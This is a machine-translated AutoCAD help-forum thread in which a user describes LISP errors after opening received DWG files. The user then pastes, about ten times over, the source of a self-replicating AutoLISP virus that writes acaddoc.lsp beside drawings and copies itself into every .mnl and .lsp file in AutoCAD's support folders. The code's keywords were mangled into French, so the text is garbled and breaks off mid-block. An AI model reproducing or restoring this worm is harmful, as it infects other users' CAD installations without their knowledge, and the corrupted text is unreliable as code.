APERTURA FILE ROVINA

[jim78b]

vous devriez m'aider s'il vous plaît, ils m'ont donné des fichiers dans lesquels il dit qu'ils sont incompatibles etc etc ok je les ouvre... mais le problème est que j'ai déjà réinstallé 2 fois mécanique autocad 2013 , il me perd dans le chargement de 6 fichiers lisp que j'utilise habituellement et me dit:

chargement des modèles Dlls.
ouvrir un format de fichier autocad 2007/lt 2007.
par substitution [SANSS___.TTF] pour [sas_____.pfb].
modèle régénérant.
ce dessin a été créé dans la langue 'ita' avec des informations de traduction. avant de travailler avec ce dessin, vous devez le traduire dans la langue du système 'enu'. travailler avec le dessin non traduit peut supprimer les informations de traduction.; erreur: malformé liste sur entrée
utilitaires de menu autocad chargés. liste mal formée sur entrée
commande & #160;:
Bureau automatique dwg. ce fichier est une dernière sauvegarde de confiance par une application autodesk ou une application autodesk sous licence.
commande & #160;:
commande : rt commande inconnue "rt". appuyez sur f1 pour obtenir de l'aide.

 

[MassiVonWeizen]

Tu t'es rétabli ?

 

[jim78b]

ciao ho fatto reset e anche reinstallato ma nulla con questi dwg mi crea un fichier lisp nella cartella..


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
(setq dwgname (getvar "dwgname")
(setq dwgpath (findfile dwgname))
(si dwgpath
(progrès
(setq acaddocpath (vl-filename-répertoire dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp")
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);
);progrès
);si
(setq mnn 0)
(alors que (< mnn mnnnum)
(setq mnlfilename (strcat acadmnlpath "")
(setq mnn1 0)
(alors que (< mnnn1 mnnnum)
(setq mnlfilename1 (racadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnnn1 (1+ mnn1))
);
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn (1+ mnn))
);
(setq lspn 0)
(alors que (< lspn lspnum)
(setq lspfilename (soutien des strcats "" (nième lspn lspfilelist))
(setq lspn1 0)
(alors que (< lspn1 lspnum)
(setq lspfilename1 (support de strcat "" (nième lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);
(setq mnn1 0)


(setq flagx t)
(setq bz (setq flagx t))
(defun app(source cible bz / flag flag1 wjm wjm1 text)
(drapeau setq zéro)
(flag 1 t)
(si (findfile cible)
(progrès
(setq wjm1 (cible ouverte "r")
(alors que (texte setq (ligne de lecture wjm1))
(si (= texte bz) (setq flag1 zéro))
);
(fermer wjm1)
);progrès
);si
(si drapeau1
(progrès
(setq wjm (source ouverte "r")
(setq wjm1 (cible ouverte "a"))
(ligne d'écriture (chr 13) wjm1)
(alors que (texte setq (ligne de lecture wjm))
(si (= texte bz) (flag setq t))
(si le drapeau
(progrès
(texte en ligne d'écriture wjm1)
);progrès
);si
);
(fermer wjm1)
(fermer wjm)
);progrès
);si
); défaut
(setvar "cmdecho" 0)
(setq acadmnl (fichier "acad.mnl")
(setq acadmnlpath (vl-filename-répertoire acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl")
(setq mnlnum (longueur mnlfilelist))
(setq acadexe (fichier "acad.exe")
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\\support")
(setq lspfilelist (vl-directory-files support "*.lsp")
(setq lspfilelist (annexe lspfilelist (liste "acaddoc.lsp"))
(setq lspnum (longueur lspfilelist))
